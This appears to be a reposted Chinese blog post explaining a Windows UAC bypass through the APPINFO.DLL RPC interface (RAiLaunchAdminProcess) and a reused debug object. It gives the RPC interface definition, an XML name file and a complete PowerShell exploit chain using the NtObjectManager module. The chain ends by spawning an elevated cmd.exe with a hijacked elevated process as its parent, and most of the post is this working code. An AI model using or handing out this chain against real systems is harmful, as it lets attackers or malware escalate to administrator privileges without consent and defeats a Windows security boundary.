备战一个月比赛, 导致近期都没啥时间更新博客, 正好今天看到一篇通过调用本地 RPC 服务的文章, 觉得非常有意思, 就拿来充充博客.
在 1.0 版本的 APPINFO.DLL 中的 RPC 服务调用接口 ID 为: 201ef99a-7fa0-444c-9399-19ba84f12a1a
用 RAiLaunchAdminProcess 函数调用本地 RPC
- [
- uuid (201ef99a-7fa0-444c-9399-19ba84f12a1a),
- version(1.0),
- ]
- long RAiLaunchAdminProcess(
- handle_t hBinding,
- [in][unique][string] wchar_t* ExecutablePath,
- [in][unique][string] wchar_t* CommandLine,
- [in] long StartFlags,
- [in] long CreateFlags,
- [in][string] wchar_t* CurrentDirectory,
- [in][string] wchar_t* WindowStation,
- [in] struct APP_STARTUP_INFO* StartupInfo,
- [in] unsigned __int3264 hWnd,
- [in] long Timeout,
- [out] struct APP_PROCESS_INFORMATION* ProcessInformation,
- [out] long *ElevationType
- );
ALPC(高级本地过程调用) 调用原理图:
画的有点水, 大概就是如上图所示
UAC 步骤
1. 利用 RAiLaunchAdminProcess 设置 StartFlags 标志为 0 并设置 DEBUG_PROCESS 来创建一个新的 non-elevated 进程. 这将在服务器中 RPC 线程的 TEB 中初始化 debug 对象字段, 并将其分配给新进程.
2. 使用带有返回的进程句柄的 NtQueryInformationProcess 打开调试对象的句柄.
3. 分离调试器并终止不再需要的新进程
4. 通过 RAiLaunchAdminProcess 与 StartFlags 设置为 1 来创建一个新的提升进程, 设置 DEBUG_PROCESS 标志 . 由于已经初始化了 TEB 中的 debug 对象字段, 因此将在步骤 2 中捕获的现有对象分配给了新进程.
5. 检索初始调试事件, 该事件将返回完整的访问进程句柄.
6. 使用新的进程句柄代码, 可以将其注入提升的进程中, 从而完成 UAC Bypass.
首先放上 powershell 的利用过程:
首先利用 powershell 的 NtObjectManager 模块, 可以通过
Install-Module "NtObjectManager" -Scope CurrentUser
安装 NtObjectManager 模块, 如果模块存在可以通过以下命令更新
Update-Module -Name NtObjectManager
然后解析 APPINFO.DLL 提取所有的 RPC 服务
- $rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" `
- | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"
可以通过
Get-RpcServerName $rpc
生成一个 xml 文件
这里用修改后的测试文件
- <RpcServerNameData
- xmlns="http://schemas.datacontract.org/2004/07/NtObjectManager">
- <InterfaceId>201ef99a-7fa0-444c-9399-19ba84f12a1a</InterfaceId>
- <InterfaceMajorVersion>1</InterfaceMajorVersion>
- <InterfaceMinorVersion>0</InterfaceMinorVersion>
- <Procedures>
- <NdrProcedureNameData>
- <Index>0</Index>
- <Name>RAiLaunchAdminProcess</Name>
- <Parameters>
- <NdrProcedureParameterNameData>
- <Index>10</Index>
- <Name>ProcessInformation</Name>
- </NdrProcedureParameterNameData>
- </Parameters>
- </NdrProcedureNameData>
- </Procedures>
- <Structures>
- <NdrStructureNameData>
- <Index>0</Index>
- <Members/>
- <Name>APP_STARTUP_INFO</Name>
- </NdrStructureNameData>
- <NdrStructureNameData>
- <Index>2</Index>
- <Members>
- <NdrStructureMemberNameData>
- <Index>0</Index>
- <Name>ProcessHandle</Name>
- </NdrStructureMemberNameData>
- </Members>
- <Name>APP_PROCESS_INFORMATION</Name>
- </NdrStructureNameData>
- </Structures>
- </RpcServerNameData>
- xml
将文件保存为 names.xml
Get-Content "names.xml" | Set-RpcServerName $rpc
可以通过上述命令将 xml 文件内容应用于 $rpc 对象
最后创建客户端新实例, 它生成一个 C# 源代码, 并编译成临时程序集
$client = Get-RpcClient $rpc
可以通过 Format-RpcClient 函数查看生成的 C# 源代码
将客户端链接到本地 RPC 服务器的 ALPC 端口
Connect-RpcClient $client
接下来定义一个函数, 里面实现了 RAiLaunchAdminProcess 方法的调用, 该函数返回一个 NtProcess 对象, 该对象可用于访问创建进程的属性
- function Start-Uac {
- Param(
- [Parameter(Mandatory, Position = 0)]
- [string]$Executable,
- [switch]$RunAsAdmin
- )
- $CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor `
- [NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment
- $StartInfo = $client.New.APP_STARTUP_INFO()
- $result = $client.RAiLaunchAdminProcess($Executable, $Executable,`
- [int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`
- "C:\", "WinSta0\Default", $StartInfo, 0, -1)
- if ($result.retval -ne 0) {
- $ex = [System.ComponentModel.Win32Exception]::new($result.retval)
- throw $ex
- }
- $h = $result.ProcessInformation.ProcessHandle.Value
- Get-NtObjectFromHandle $h -OwnsHandle
- }
创建一个进程并捕获 debug 对象, 一旦获取调试对象, 要将调试器与进程分离.
- $p = Start-Uac "c:\windows\system32\notepad.exe"
- $dbg = Get-NtDebug -Process $p
- Stop-NtProcess $p
- Remove-NtDebugProcess $dbg -Process $p
创建一个提升的进程, 发现分配给提升进程的调试对象与刚才创建的调试对象相同. 现在, 我们在调试对象上发出等待, 从中可以提取到特权进程句柄.
但因为初始调试的句柄没有完全特权, 得使用 Copy-NtObject 从提升的进程中复制当前进程的伪句柄 (-1), 从而获取完全特权句柄.
- $p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin
- $ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg
- $h = [IntPtr]-1
- $new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h
- Remove-NtDebugProcess $dbg -Process $new_p
此时再以 $new_p 为父进程生成一个特权权限的 cmd 进程
New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole
参考链接:
C# 项目地址: https://github.com/tyranid/WindowsRpcClients
来源: http://www.bubuko.com/infodetail-3345471.html